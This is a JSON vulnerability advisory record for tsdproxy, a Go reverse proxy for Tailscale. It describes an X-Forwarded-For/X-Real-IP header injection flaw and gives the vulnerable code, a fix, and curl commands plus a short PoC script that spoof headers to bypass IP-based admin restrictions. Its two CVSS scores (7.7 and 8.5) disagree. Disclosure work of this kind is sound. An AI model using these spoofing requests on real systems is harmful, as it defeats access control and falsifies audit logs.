{"id":"GHSA-pqg7-v6wh-3pfp","aliases":["GO-2026-5982"],"url":"https://o3.security/vulnerability/GHSA-pqg7-v6wh-3pfp","summary":"TsDProxy: X-Forwarded-For header injection allows IP spoofing in proxied requests to backend services","details":"## Description\n\nThe HTTP reverse proxy handler in tsdproxy does not strip the X-Forwarded-For (or X-Real-IP) header from incoming requests before calling r.SetXForwarded(). This allows an authenticated Tailscale user to inject arbitrary X-Forwarded-For values that are forwarded verbatim to backend services.\n\n```go\n// internal/proxymanager/port.go -- Rewrite function\nRewrite: func(r *httputil.ProxyRequest) {\n    r.SetURL(pconfig.GetFirstTarget())\n    r.Out.Host = r.In.Host\n\n    // Strips tsdproxy identity headers (correct)\n    r.Out.Header.Del(consts.HeaderID)\n    r.Out.Header.Del(consts.HeaderRemoteUser)\n    r.Out.Header.Del(consts.HeaderXForwardedUser)\n    // ... other identity headers deleted ...\n\n    // X-Forwarded-For is NOT deleted before SetXForwarded!\n    // X-Real-IP is NOT deleted at all!\n    r.SetXForwarded()  // APPENDS client IP to attacker-controlled XFF list\n},\n```\n\nPer Go's httputil.ProxyRequest.SetXForwarded() documentation:\n> If the inbound request has an existing X-Forwarded-For header, SetXForwarded appends the inbound request's remote address to the list.\n\nResult when attacker sends X-Forwarded-For: 127.0.0.1:\n- Backend receives: X-Forwarded-For: 127.0.0.1, <real-tailscale-client-ip>\n- If backend reads first element as \"original client\", attacker appears as 127.0.0.1\n\nX-Real-IP is not handled at all -- if the attacker sets X-Real-IP: 127.0.0.1, it is forwarded to the backend verbatim without any overriding or stripping.\n\nMany backend applications trust the first element of X-Forwarded-For (or X-Real-IP) for:\n- IP-based access control (admin panels restricted to 127.0.0.1)\n- Rate limiting tied to source IP\n- Audit logging\n- Geo-blocking or network-segment restrictions\n\nThis is particularly impactful in tsdproxy's intended use case where the backend service is only accessible through tsdproxy -- making the proxy's header handling the sole enforcement point.\n\n## CVSS\nCVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N = 7.7\n\n## Severity\nHigh\n\n## Affected Code / Files\n- `internal/proxymanager/port.go` -- newPortProxy Rewrite closure\n- Missing: r.Out.Header.Del(\"X-Forwarded-For\") before r.SetXForwarded()\n- Missing: r.Out.Header.Del(\"X-Real-IP\") unconditional strip\n\n## Steps to Reproduce\n1. Deploy tsdproxy with a backend service that restricts /admin to 127.0.0.1 via X-Forwarded-For (e.g., Nginx with real_ip_header X-Forwarded-For and real_ip_recursive on)\n2. As an authenticated Tailscale user (non-admin), make a request through the proxy:\n\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" \\\n     https://<proxy-hostname>.ts.net/admin\n```\n\n3. Backend receives: X-Forwarded-For: 127.0.0.1, <your-tailscale-ip>\n4. Nginx real_ip_recursive resolves left-most non-trusted IP; if tailscale range is the only trusted range, 127.0.0.1 becomes the \"real\" IP, bypassing admin restriction.\n\nFor the X-Real-IP vector:\n```bash\ncurl -H \"X-Real-IP: 127.0.0.1\" \\\n     https://<proxy-hostname>.ts.net/admin\n# Backend receives X-Real-IP: 127.0.0.1 verbatim\n```\n\n## PoC Script (if used)\n```bash\n#!/bin/bash\n# Demonstrate XFF injection through tsdproxy\nPROXY_HOST=\"${1}\"  # e.g. myapp.my-tailnet.ts.net\ncurl -v \\\n  -H \"X-Forwarded-For: 127.0.0.1\" \\\n  -H \"X-Real-IP: 127.0.0.1\" \\\n  \"https://${PROXY_HOST}/\"\n# Expected: backend sees XFF: 127.0.0.1, <tailscale-ip>\n#           backend sees X-Real-IP: 127.0.0.1 (unmodified)\n```\n\n## Impact\n\nAn authenticated Tailscale user who should only have regular user access can:\n1. Bypass IP-based admin restrictions on the backend application by spoofing X-Forwarded-For to 127.0.0.1\n2. Appear as any arbitrary IP address in audit logs\n3. Bypass rate limiting tied to source IP\n4. Bypass geo-blocking or network-segment restrictions enforced by the backend\n\nThis is especially impactful because tsdproxy is designed as the sole access point for backend services that are otherwise network-isolated -- making the proxy the only enforcement boundary.\n\nFix: Add r.Out.Header.Del(\"X-Forwarded-For\") and r.Out.Header.Del(\"X-Real-IP\") in the Rewrite closure before calling r.SetXForwarded(). This ensures only the real Tailscale client IP appears in the XFF chain.\n\n### Credits\n\nReported by Vishal Shukla (@shukla304) using sechub.dev AI Agent\n\n### Support\n\nIf this disclosure work has been useful, [sponsoring](https://github.com/sponsors/therawdev) helps fund continued open-source security audits -- appreciated either way.","published":"2026-07-14T19:46:15Z","modified":"2026-07-21T19:19:26.417432263Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/almeidapaulopt/tsdproxy","fixedVersion":null}],"fix":{"url":"https://github.com/almeidapaulopt/tsdproxy/commit/e8200b7947719e5e7fbbbdb9c34f459a4c285e77","label":"almeidapaulopt/tsdproxy@e8200b7"},"references":[{"type":"WEB","url":"https://github.com/almeidapaulopt/tsdproxy/security/advisories/GHSA-pqg7-v6wh-3pfp"},{"type":"WEB","url":"https://github.com/almeidapaulopt/tsdproxy/commit/e8200b7947719e5e7fbbbdb9c34f459a4c285e77"},{"type":"PACKAGE","url":"https://github.com/almeidapaulopt/tsdproxy"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-21T19:19:26.417432263Z"}}